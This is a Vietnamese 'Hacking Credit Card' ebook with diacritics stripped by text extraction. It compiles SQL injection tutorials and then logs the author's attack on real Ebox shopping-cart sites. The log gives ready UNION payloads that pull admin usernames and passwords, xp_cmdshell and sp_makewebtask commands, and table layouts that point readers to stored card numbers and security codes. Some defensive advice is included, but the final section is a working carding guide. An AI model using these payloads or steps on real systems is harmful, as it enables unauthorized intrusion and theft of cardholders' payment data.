Author: Hieupc
Publisher: TheGioiEbook®
Title: Ebook Hacking Credit Card Version 3 (EHCC V3)
Language: Vietnamese
Contact :
Y!M: hieuitpc
Gi i thi u v SQL Injection
T N CÔNG KI U SQL INJECTION TÁC H I VÀ PHÒNG TRÁNH
Tác gi : Lê ình Duy
1. SQL Injection là gì?
Khi tri n khai các ng d ng web trên Internet, nhi u ng i v n ngh r ng vi c đ m b o an
toàn, b o
m t nh m gi m thi u t i đa kh n ng b t n công t các tin t c ch đ n thu n t p trung vào
các v n
đ nh ch n h đi u hành, h qu n tr c s d li u, webserver s ch y ng d ng, ... mà quên
m t
r ng ngay c b n thân ng d ng ch y trên đó c ng ti m n m t l h ng b o m t r t l n. M t
trong
s các l h ng này đó là SQL injection. T i Vi t Nam, đã qua th i kì các qu n tr website l
là vi c
quét virus, c p nh t các b n vá l i t các ph n m m h th ng, nh ng vi c ch m sóc các l i
c a các
ng d ng l i r t ít đ c quan tâm. ó là lí do t i sao trong th i gian v a qua, không ít
website t i
Vi t Nam b t n công và đa s đ u là l i SQL injection [1]. V y SQL injection là gì ?
SQL injection là m t k thu t cho phép nh ng k t n công l i d ng l h ng trong vi c ki m
tra d
li u nh p trong các ng d ng web và các thông báo l i c a h qu n tr c s d li u đ "tiêm
vào"
(inject) và thi hành các câu l nh SQL b t h p pháp (không đ c ng i phát tri n ng d ng
l ng
tr c). H u qu c a nó r t tai h i vì nó cho phép nh ng k t n công có th th c hi n các thao
tác
xóa, hi u ch nh, … do có toàn quy n trên c s d li u c a ng d ng, th m chí là server mà
ng
d ng đó đang ch y. L i này th ng x y ra trên các ng d ng web có d li u đ c qu n lí
b ng các
h qu n tr c s d li u nh SQL Server, MySQL, Oracle, DB2, Sysbase.
2. Các d ng t n công b ng SQL Injection
Có b n d ng thông th ng bao g m: v t qua ki m tra lúc đ ng nh p (authorization bypass),
s
d ng câu l n SELECT, s d ng câu l nh INSERT, s d ng các stored-procedures [2], [3].
2.1. D ng t n công v
t qua ki m tra đ ng nh p
V i d ng t n công này, tin t c có th d dàng v t qua các trang đ ng nh p nh vào l i khi
dùng
các câu l nh SQL thao tác trên c s d li u c a ng d ng web.
Xét m t ví d đi n hình, thông th ng đ cho phép ng i dùng truy c p vào các trang web
đ c
b o m t, h th ng th ng xây d ng trang đ ng nh p đ yêu c u ng i dùng nh p thông tin v
tên
đ ng nh p và m t kh u. Sau khi ng i dùng nh p thông tin vào, h th ng s ki m tra tên
đ ng nh p
và m t kh u có h p l hay không đ quy t đ nh cho phép hay t ch i th c hi n ti p.
Trong tr ng h p này, ng i ta có th dùng hai trang, m t trang HTML đ hi n th form
nh p li u
và m t trang ASP dùng đ x lí thông tin nh p t phía ng i dùng. Ví d :
login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME">
Password: <input type="password" name="fPASSWORD">
<input type="submit">
</form>
2
execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing
%>
Tho t nhìn, đo n mã trong trang execlogin.asp d ng nh không
ch a b t c m t l h ng v
an toàn
nào. Ng i dùng không th đ ng nh p mà không có tên đ ng nh p và m t kh u h p l . Tuy
nhiên,
đo n mã này th c s không an toàn và là ti n đ cho m t l i SQL injection. c bi t, ch s
h
n m ch d li u nh p vào t ng i dùng đ c dùng đ xây d ng tr c ti p câu l nh SQL.
Chính
đi u này cho phép nh ng k t n công có th đi u khi n câu truy v n s đ c th c hi n. Ví
d ,n u
ng i dùng nh p chu i sau vào trong c 2 ô nh p li u username/password c a trang login.htm
là:
' OR ' ' = ' '. Lúc này, câu truy v n s đ c g i th c hi n là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''=''
Câu truy v n này là h p l và s tr v t t c các b n ghi c a T_USERS và đo n mã ti p theo
x lí
ng i dùng đ ng nh p b t h p pháp này nh là ng i dùng đ ng nh p h p l .
2.2. D ng t n công s
d ng câu l nh SELECT
D ng t n công này ph c t p h n.
th c hi n đ c ki u t n công này, k t n công ph i có
kh
n ng hi u và l i d ng các s h trong các thông báo l i t h th ng đ dò tìm các đi m y u
kh i
đ u cho vi c t n công.
Xét m t ví d r t th ng g p trong các website v tin t c. Thông th ng, s có m t trang
nh n ID
c a tin c n hi n th r i sau đó truy v n n i dung c a tin có ID này. Ví d :
Mã ngu n cho ch c n ng này th ng đ c vi t
khá
đ n gi n theo d ng
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID
3
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
Set objRS = Nothing
%>
Trong các tình hu ng thông th ng, đo n mã này hi n th n i dung c a tin có ID trùng v i ID
đã
ch đ nh và h u nh không th y có l i. Tuy nhiên, gi ng nh ví d đ ng nh p tr c, đo n
mã này
đ l s h cho m t l i SQL injection khác. K t n công có th thay th m t ID h p l b ng
cách
gán ID cho m t giá tr khác, và t đó, kh i đ u cho m t cu c t n công b t h p pháp, ví d
nh : 0
OR 1=1 (ngh a là, or 1=1).
Câu truy v n SQL lúc này s tr v t t c các article t b ng d li u vì nó s th c hi n câu
l nh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1
M t tr ng h p khác, ví d nh trang tìm ki m. Trang này cho phép ng
các
thông tin tìm ki m nh H , Tên, … o n mã th ng g p là:
i dùng nh p vào
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _
vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
…
Set objRS = Nothing
%>
T ng t nh trên, tin t c có th l i d ng s h trong câu truy v n SQL đ nh p vào tr
tên tác
gi b ng chu i giá tr :
' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)
ng
Lúc này, ngoài câu truy v n đ u không thành công, ch ng trình s th c hi n thêm l nh ti p
theo
sau t khóa UNION n a.
T t nhiên các ví d nói trên, d ng nh không có gì nguy hi m, nh ng hãy th t ng t ng
k t n
công có th xóa toàn b c s d li u b ng cách chèn vào các đo n l nh nguy hi m nh l nh
DROP
TABLE. Ví d nh : ' DROP TABLE T_AUTHORS --
Ch c các b n s th c m c là làm sao bi t đ c ng d ng web b l i d ng này đ c. R t đ n
gi n,
hãy nh p vào chu i (*) nh trên, n u h th ng báo l i v cú pháp d ng: Invalid object name
“OtherTable”; ta có th bi t ch c là h th ng đã th c hi n câu SELECT sau t khóa UNION, vì
nh
v y m i có th tr v l i mà ta đã c tình t o ra trong câu l nh SELECT.
C ng s có th c m c là làm th nào có th bi t đ c tên c a các b ng d li u mà th c hi n
các thao
tác phá ho i khi ng d ng web b l i SQL injection. C ng r t đ n gi n, b i vì trong SQL
Server, có
hai đ i t ng là sysobjects và syscolumns cho phép li t kê t t c các tên b ng và c t có trong
h
th ng. Ta ch c n ch nh l i câu l nh SELECT, ví d nh :
' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có th li t kê đ c tên t t c
các
b ng d li u.
4
2.3. D ng t n công s
d ng câu l nh INSERT
Thông th ng các ng d ng web cho phép ng i dùng đ ng kí m t tài kho n đ tham gia.
Ch c
n ng không th thi u là sau khi đ ng kí thành công, ng i dùng có th xem và hi u ch nh
thông tin
c a mình. SQL injection có th đ c dùng khi h th ng không ki m tra tính h p l c a thông
tin
nh p vào.
Ví d , m t câu l nh INSERT có th có cú pháp d ng: INSERT INTO TableName VALUES('Value
One',
'Value Two', 'Value Three'). N u đo n mã xây d ng câu l nh SQL có d
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _
& strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
…
Set objRS = Nothing
%>
ng :
Thì ch c ch n s b l i SQL injection, b i vì n u ta nh p vào tr
ng th nh t ví d nh : ' +
(SELECT
TOP 1 FieldName FROM TableName) + '. Lúc này câu truy v n s là: INSERT INTO TableName
VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def'). Khi đó, lúc th c
hi n
l nh xem thông tin, xem nh b n đã yêu c u th c hi n thêm m t l nh n a đó là: SELECT TOP
1
FieldName FROM TableName
2.4. D ng t n công s
d ng stored-procedures
Vi c t n công b ng stored-procedures s gây tác h i r t l n n u ng d ng đ c th c thi v i
quy n
qu n tr h th ng 'sa'. Ví d , n u ta thay đo n mã tiêm vào d ng: ' ; EXEC xp_cmdshell
‘cmd.exe
dir C: '. Lúc
phá
này h th ng s th c hi n l nh li t kê th m c trên đ a C:\ cài đ t server. Vi c
ho i ki u nào tu thu c vào câu l nh đ ng sau cmd.exe.
3. Cách phòng tránh
Nh v y, có th th y l i SQL injection khai thác nh ng b t c n c a các l p trình viên phát
tri n ng
d ng web khi x lí các d li u nh p vào đ xây d ng câu l nh SQL. Tác h i t l i SQL
injection
tùy thu c vào môi tr ng và cách c u hình h th ng. N u ng d ng s d ng quy n dbo
(quy n c a
ng i s h u c s d li u - owner) khi thao tác d li u, nó có th xóa toàn b các b ng d
li u, t o
các b ng d li u m i, … N u ng d ng s d ng quy n sa (quy n qu n tr h th ng), nó có
th đi u
khi n toàn b h qu n tr c s d li u và v i quy n h n r ng l n nh v y nó có th t o ra
các tài
kho n ng i dùng b t h p pháp đ đi u khi n h th ng c a b n.
phòng tránh, ta có th
th c hi n
hai m c:
3.1. Ki m soát ch t ch d li u nh p vào
phòng tránh các nguy c có th x y ra, hãy b o v các câu l nh SQL là b ng cách ki m
soát ch t
ch t t c các d li u nh p nh n đ c t đ i t ng Request (Request, Request.QueryString,
Request.Form, Request.Cookies, and Request.ServerVariables). Ví d , có th gi i h n chi u
dài c a
chu i nh p li u, ho c xây d ng hàm EscapeQuotes đ thay th các d u nháy đ n b ng 2 d u
nháy
đ n nh :
<%
Function EscapeQuotes(sInput)
sInput = replace(sInput, " ' ", " ' ' ")
EscapeQuotes = sInput
5
End Function
%>
Trong tr ng h p d li u nh p vào là s , l i xu t phát t vi c thay th m t giá tr đ c tiên
đoán là
d li u s b ng chu i ch a câu l nh SQL b t h p pháp.
tránh đi u này, đ n gi n hãy ki m
tra
d li u có đúng ki u hay không b ng hàm IsNumeric().
Ngoài ra có th xây d ng hàm lo i b m t s kí t và t khóa nguy hi m nh : ;, --, select,
insert,
xp_, … ra kh i chu i d li u nh p t phía ng i dùng đ h n
<%
Function KillChars(sInput)
dim badChars
dim newChars
badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_")
newChars = strInput
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
KillChars = newChars
ch các t n công d ng này:
End Function
%>
3.2. Thi t l p c u hình an toàn cho h qu n tr c s d li u
C n có c ch ki m soát ch t ch và gi i h n quy n x lí d li u đ n tài kho n ng i dùng
mà ng
d ng web đang s d ng. Các ng d ng thông th ng nên tránh dùng đ n các quy n nh dbo
hay sa.
Quy n càng b h n ch , thi t h i càng ít.
Ngoài ra đ tránh các nguy c t SQL Injection attack, nên chú ý lo i b b t kì thông tin k
thu t
nào ch a trong thông đi p chuy n xu ng cho ng i dùng khi ng d ng có l i. Các thông báo
l i
thông th ng ti t l các chi ti t k thu t có th cho phép k t n công bi t đ c đi m y u c a
h
th ng.
S u t m trên Internet t
t
bài vi t nguyên thu "SQL
bài đ
c d ch và s a đ i
Injection Walkthrough" c
a />
1. SQL Injection là gì?
SQL Injection là m t trong nh ng ki u hack web đang d n tr nên ph bi n hi n nay.
B ng cách inject các mã SQL query/command vào input tr c khi chuy n cho ng d ng
web x lí, b n có th login mà không c n username và password, remote execution,
dump data và l y root c a SQL server. Công c dùng đ t n công là m t trình duy t web
b t kì, ch ng h n nh Internet Explorer, Netscape, Lynx, ...
2. Tìm ki m m c tiêu
Có th tìm các trang web cho phép submit d li u b t kì m t trình tìm ki m nào trên
m ng, ch ng h n nh các trang login, search, feedback, ...
Ví d :
/>
M t s trang web chuy n tham s qua các field n, ph i xem mã HTML m i th y rõ. Ví
d nh
d i.
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
3. Ki m tra ch y u c a trang web
Th submit các field username, password ho c field id, .. b ng hi' or 1=1-•
•
•
Login: hi' or 1=1-Password: hi' or 1=1- or 1=1--
N u site chuy n tham s qua field n, hãy download source HTML, l u trên đ a c ng và
thay đ i l i URL cho phù h p. Ví d :
<FORM action= method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
N u thành công, thì có th login vào mà không c n ph i bi t username và password
4. T i sao ' or 1=1-- có th v
nh p?
t qua ph n ki m tra đ ng
Gi s nh có m t trang ASP liên k t đ n m t ASP trang khác v i URL nh sau:
/>
Trong URL trên, bi n 'category' đ
nh sau (đây ch là ví d thôi):
c gán giá tr là 'food'. Mã ASP c a trang này có th
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
v_cat s ch a giá tr c a bi n request("category") là 'food' và câu l nh SQL ti p theo s
là:
SELECT * FROM product WHERE PCategory='food'
Dòng query trên s tr v m t t p resultset ch a m t ho c nhi u dòng phù h p v i đi u
ki n WHERE PCategory='food'
N u thay đ i URL trên thành or 1=1-- ,
bi n v_cat s ch a giá tr "food' or 1=1-- " và dòng l nh SQL query s là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Dòng query trên s select m i th trong b ng product b t ch p giá tr c a tr ng
PCategory có b ng 'food' hay không. Hai d u g ch ngang (--) ch cho MS SQL server bi t
đã h t dòng query, m i th còn l i sau "--" s b b qua. i v i MySQL, hãy thay "--"
thành "#"
Ngoài ra, c ng có th th cách khác b ng cách submit ' or 'a'='a. Dòng SQL query bây
gi s là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
M t s lo i d li u khác mà c ng nên th submit đ bi t xem trang web có g p l i hay
không:
' or 1=1-" or 1=1-or 1=1-' or 'a'='a
" or "a"="a
') or ('a'='a
5. Thi hành l nh t xa b ng SQL Injection
N u cài đ t v i ch đ m c đ nh mà không có đi u ch nh gì, MS SQL Server s ch y
m c SYSTEM, t ng đ ng v i m c truy c p Administrator trên Windows. Có th dùng
store procedure xp_cmdshell trong CSDL master đ thi hành l nh t xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Hãy th dùng d u nháy đôi (") n u d u nháy đ n (') không làm vi c.
D u ch m ph y (s k t thúc dòng SQL query hi n t i và cho phép thi hành m t SQL
command m i.
ki m tra xem l nh trên có đ c thi hành hay không, có th listen các
ICMP packet t 10.10.1.2 b ng tcpdump nh sau:
#tcpdump icmp
N u nh n đ
c ping request t 10.10.1.2 ngh a là l nh đã đ
c thi hành.
6. Nh n output c a SQL query
Có th dùng sp_makewebtask đ ghi các output c a SQL query ra m t file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT
* FROM INFORMATION_SCHEMA.TABLES"
Chú ý: folder "share" ph i đ
c share cho Everyone tr
c.
7. Nh n d li u qua 'database using ODBC error
message'
Các thông báo l i c a MS SQL Server th ng đ a cho b n nh ng thông tin quan tr ng.
L y ví d
trên bây gi chúng ta th h p nh t
integer '10' v i m t string khác l y t CSDL:
UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
B ng INFORMATION_SCHEMA.TABLES c a h th ng SQL Server ch a thông tin v
t t c các b ng (table) có trên server. Tr ng TABLE_NAME ch a tên c a m i b ng
trong CSDL. Chúng ta ch n nó b i vì chúng ta bi t r ng nó luôn t n t i. Query c a chúng
ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Dòng query này s tr v tên c a b ng đ u tiên trong CSDL
Khi chúng ta k t h p chu i này v i s integer 10 qua statement UNION, MS SQL Server
s c th chuy n m t string (nvarchar) thành m t s integer. i u này s g p l i n u nh
không chuy n đ c nvarchar sang int, server s hi n thông báo l i sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Thông báo l i trên cho bi t giá tr mu n chuy n sang integer nh ng không đ c,
"table1". ây c ng chính là tên c a b ng đ u tiên trong CSDL mà chúng ta đang mu n
có.
l y tên c a tên c a b ng ti p theo, có th dùng query sau:
UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
C ng có th th tìm d li u b ng cách khác thông qua statement LIKE c a câu l nh SQL:
UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Khi đó thông báo l i c a SQL Server có th là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
M u so sánh '%25login%25' s t ng đ ng v i %login% trong SQL Server. Nh th y
trong thông báo l i trên, chúng ta có th xác đ nh đ c tên c a m t table quan tr ng là
"admin_login".
8. Xác đ nh tên c a các column trong table
Table INFORMATION_SCHEMA.COLUMNS ch a tên c a t t c các column trong
table. Có th khai thác nh sau:
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Nh v y tên c a column đ u tiên là "login_id".
th dùng m nh đ logic NOT IN () nh sau:
l y tên c a các column ti p theo, có
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id')--
Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Làm t ng t nh trên, có th l y đ c tên c a các column còn l i nh "password",
"details". Khi đó ta l y tên c a các column này qua các thông báo l i c a SQL Server,
nh ví d sau:
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must
appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
9. Thu th p các d li u quan tr ng
Chúng ta đã xác đ nh đ c các tên c a các table và column quan tr ng. Chúng ta s thu
th p các thông tin quan tr ng t các table và column này.
Có th l y login_name đ u tiên trong table "admin_login" nh sau:
UNION SELECT TOP 1 login_name FROM
admin_login--
Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
D dàng nh n ra đ c admin user đ u tiên có login_name là "neo". Hãy th l y password
c a "neo" nh sau:
UNION SELECT TOP 1 password FROM
admin_login where login_name='neo'--
Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Và bây gi là đã có th login vào v i username là "neo" và password là "m4trix".
10. Nh n các numeric string
Có m t h n ch nh đ i v i ph ng pháp trên. Chúng ta không th nh n đ c các error
message n u server có th chuy n text đúng d ng s (text ch ch a các kí t s t 0 đ n
9). Gi s nh password c a "trinity" là "31173". V y n u ta thi hành l nh sau:
UNION SELECT TOP 1 password FROM
admin_login where login_name='trinity'--
Thì khi đó ch nh n đ c thông báo l i "Page Not Found". Lý do b i vì server có th
chuy n passoword "31173" sang d ng s tr c khi UNION v i integer 10.
gi i quy t
v n đ này, chúng ta có th thêm m t vài kí t alphabet vào numeric string này đ làm
th t b i s chuy n đ i t text sang s c a server. Dòng query m i nh sau:
UNION SELECT TOP 1 convert(int,
password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Chúng ta dùng d u c ng (+) đ n i thêm text vào password (ASCII code c a '+' là 0x2b).
Chúng ta thêm chu i '(space)morpheus' vào cu i password đ t o ra m t string m i
không ph i numeric string là '31173 morpheus'. Khi hàm convert() đ c g i đ chuy n
'31173 morpheus' sang integer, SQL server s phát l i ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Và ngh a là bây gi ta c ng có th login vào v i username 'trinity' và password là '31173'
11. Thay đ i d li u (Update/Insert) c a CSDL
Khi đã có tên c a t t c các column trong table, có th s d ng statement UPDATE ho c
INSERT đ s a đ i/t o m i m t record vào table này.
thay đ i password c a "neo", có th làm nh sau:
UPDATE 'admin_login' SET 'password'
= 'newpas5' WHERE login_name='neo'--
Ho c n u b n mu n m t record m i vào table:
INSERT INTO 'admin_login'
('login_id', 'login_name', 'password', 'details') VALUES
(666,'neo2','newpas5','NA')--
Và bây gi có th login vào v i username "neo2" và password là "newpas5"
12. Ng n ch n SQL Injection
Hãy lo i b các kí t meta nh '"/\; và các kí t extend nh NULL, CR, LF, ... trong các
string nh n đ c t :
•
•
•
input do ng i dùng đ trình
các tham s t URL
các giá tr t cookie
i v i các giá tr numeric, hãy chuy n nó sang integer tr
ISNUMERIC đ ch c ch n nó là m t s integer.
c khi query SQL, ho c dùng
Thay đ i "Startup and run SQL Server" dùng m c low privilege user trong tab SQL
Server Security.
Xóa các stored procedure trong database master mà không dùng nh :
•
•
•
•
xp_cmdshell
xp_startmail
xp_sendmail
sp_makewebtask
13. Ng n ch n SQL Injection trong ASP.NET
Các cách th c ng n ch n SQL Injection đ c trình bày ph n 12 đã bao quát đ ph ng
pháp, nh ng trong ASP.NET có cách ng n ch n đ n gi n là s d ng các Parameters khi
làm vi c v i object SqlCommand (ho c OleDbCommand) ch không s d ng các câu
l nh SQL tr c ti p. Khi đó .NET s t đ ng validate ki u d li u, n i dung d li u tr c
khi th c hi n câu l nh SQL.
Ngoài ra, c ng c n ki m soát t t các thông báo l i. Và m c đ nh trong ASP.NET là thông
báo l i s không đ c thông báo chi ti t khi không ch y trên localhost.
Các t khóa SQL
Ngu n: />T khóa SQL chia thành nhi u nhóm:
L yd
li u
Thao tác s d ng nhi u nh t trong m t c s d li u d a trên giao d ch là thao tác l y d
li u.
•
SELECT đ c s d ng đ l y d li u t m t ho c nhi u b ng trong c s d li u,
SELECT là l nh th ng dùng nh t c a ngôn ng s a đ i d li u (t m d ch) (ti ng
Anh: Data Manipulation Language - DML). Trong vi c t o ra câu truy v n
SELECT, ng i s d ng ph i đ a ra mô t cho nh ng d li u mình mu n l y ra
ch không ch ra nh ng hành đ ng v t lý nào b t bu c ph i th c hi n đ l y ra k t
qu đó. H th ng c s d li u, hay chính xác h n là b t i u hóa câu truy v n s
d ch t câu truy v n sang k ho ch truy v n t i u.
•
o
Nh ng t khóa liên quan t i SELECT bao g m:
̇ FROM dùng đ ch đ nh d li u s đ c l y ra t nh ng b ng nào,
và các b ng đó quan h v i nhau nh th nào.
̇ WHERE dùng đ xác đ nh nh ng b n ghi nào s đ c l y ra, ho c áp
d ng v i GROUP BY.
̇ GROUP BY dùng đ k t h p các b n ghi có nh ng giá tr liên quan
v i nhau thành các ph n t c a m t t p h p nh h n các b n ghi.
̇ HAVING dùng đ xác đ nh nh ng b n ghi nào, là k t qu t t khóa
GROUP BY, s đ c l y ra.
̇ ORDER BY dùng đ xác đ nh d li u l y ra s đ c s p x p theo
nh ng c t nào.
S a đ i d li u
Ngôn ng s a đ i d li u (Data Manipulation Language - DML), là môt ph n nh c a
ngôn ng , có nh ng thành ph n tiêu chu n dùng đ thêm, c p nh t và xóa d li u delete
data.
•
•
•
•
•
INSERT dùng đ thêm d li u vào m t b ng đã t n t i.
UPDATE dùng đ thay đ i giá tr c a m t t p h p các b n ghi trong m t b ng.
MERGE dùng đ k t h p d li u c a nhi u b ng. Nó đ c dùng nh vi c k t h p
gi a hai ph n t INSERT và UPDATE .
DELETE xóa nh ng b n ghi t n t i trong m t b ng.
TRUNCATE Xóa toàn b d li u trong m t b ng (không ph i là tiêu chu n, nh ng
là m t l nh SQL ph bi n).
Giao d ch d
li u
Giao d ch, n u có, dùng đ bao b c các thao tác s a đ i d li u.
•
•
•
BEGIN WORK (ho c START TRANSACTION, tùy theo các ngôn ng SQL khác nhau)
đ c s d ng đ đánh d u vi c b t đ u m t giao d ch d li u (giao d ch d li u đó
có k t thúc hoàn toàn hay không).
COMMIT dùng đ l u l i nh ng thay đ i trong giao d ch.
ROLLBACK dùng đ quay l i th i đi m s d ng l nh COMMIT cu i cùng.
Exploit Ebox Shopping Cart (SQL Injection)
(Có phiên b n đ
c trình bày b ng hình nh)
Tác gi : hieupc
Có th nói đây là bài đáng chú ý nh t trong Ebook này, vì l i này v a mang tính c đi n
v a mang tính t duy và c ng v i s tìm tòi, may m n, và c kinh nghi m.
Gi i thi u s v Ebox: Ebox là m t shop s d ng MS SQL Server và ASP, đ
khá gi ng v i các Shopping Cart khác: VPASP, X-Cart…
c xem là
11 h 00: Tình c hieupc đ c m t ng i b n nh exploit th shop này vì nó b m c l i
khá nghiêm tr ng SQL Injection. Và lúc đ u có ph n h i khó kh n vì ch a n m rõ đ c
shop này c u trúc Database và Table nó nh th nào.
11 h 15: Sau m t h i search google , hieupc tìm ra đ c khá nhi u trang c a lo i Shop
Ebox này, m c tiêu c a hieupc là exploit shop : , nh ng không
bi t table c a nó th nào và đành ph i đi tìm m t shop Ebox t ng t khác nh ng có th
exploit ra table và hieupc tìm ra đ c shop : .
11 h 45: Vi c exploit table và column di n ra khá lâu (Xem trong EHCC V1 và V2), cu i
cùng c ng đã l y đ c nh ng thông tin c n thíêt cho m c tiêu ban đ u, và đem qua
exploit shop
'tblBundle','Admin','affiliates','Commission','dtproperties','errorlog','Hits','sysconstraints','
syssegments','tblAdminUser','tblAdverts','tblCategory','tblCheckout','tblCheckoutEbox','
tblConfirmation','tblHelp','tblLayout','tblManufacturer','tblMeta','tblNews','tblNewsLetter'
,'tblOrder','tblOrder_Temp','tblOrders','tblOrderStatus','tblPages','tblPostage','tblPost
ageChoice','tblProducts','tblProducts_Temp','tblSatus','tblStandardText','tblSubCat','tblSu
bMan','tblTime','tblTop10','tblUsers','wapman'
c bi t chúng ta nên chú ý đ n các table đ
có th không quan tâm.
c tô đ m màu đ
trên, m y table khác ta
12 h 00: Mu n cho vi c exploit đ c nhanh chóng cho nên hieupc ch c n l y username
và password Admin c a Shop Ebox là đ . Còn các b n n u mu n l y t ng thông tin riêng
thì có th exploit các table : 'tblUsers' 'tblOrders' …. đ l y đ c thông tin mình c n.
'tblUsers' :
'userID','userDate','userUserName','userPassword','userRealName','userSurname','userStat
ementStreet1','userStatementStreet2','userStatementTown','userStatementCounty','userSta
tementPostcode','userDeliveryAddress','userDeliveryPostcode','userTelephone','userFax','
userMobile','userNewsletterSubscribe','orderBundleDetails','sageimported','usercode'
'tblOrders':
'ID','orderID','orderUserID','orderCardType','orderCardNumber','orderCardNameonCard','
orderCardStartMonth','orderCardStartYear','orderCardExpiryMonth','orderCardExpiryYe
ar','orderIssueNumber','orderSecurityCode','orderDate','orderComments','orderStatus'
12 h 15: Ban đ u hieupc c ng table: 'Admin' là c n đ c khai thác đ l y thông tin c a
username và password nh ng thông tin trong đó không ph i c a Admin, hieupc c ng đã
th login nh ng th t b i.
('ID','Password','URL','Email','Fixedrate','Percentrate','Percentage','Minimum')
12 h 30: Sau đó hieupc chuy n sang exploit table : 'tblAdminUser' , thu đ c c ng khá
nhi u comlun khác, và ch c ch n cái này s ch a Username và Password đúng c a
Admin, hieupc đã th login và thành công nh mong mu n.
'tblAdminUser'
'userID','adminUsername','adminPassword','adminEmail','adminHide'
12 h 45: Cu i cùng thì hieupc c ng có đ c username và password đ login vào
Administration Shop c a , ch b ng 2 m i tiêm đ n gi n mà hi u
qu , ho c ta ch c n dùng m t m i tiêm mà có t i 2 lo i thu c ('adminUsername' ,
'adminPassword') tuy nhiên không khuy n khích dùng lo i này.
l y Username:
%20union%20%20select%201,2,adminUsername,4,5,6,7,8,9,10,11,12,13%20from%20tb
lAdminUser%22having%201=1--sp_password
l y Password:
%20union%20%20select%201,2,adminPassword,4,5,6,7,8,9,10,11,12,13%20from%20tbl
AdminUser%22having%201=1--sp_password
Vi c tìm link c a shop này là khá đ n gi n: />1 h 00: Ngoài ra còn có nhi u cách khác đ l y đ c thông tin ta c n nh là Exploit:
Update Email, Insert User… đ th c hi n nh ng câu l nh này các b n ph i bi t mình
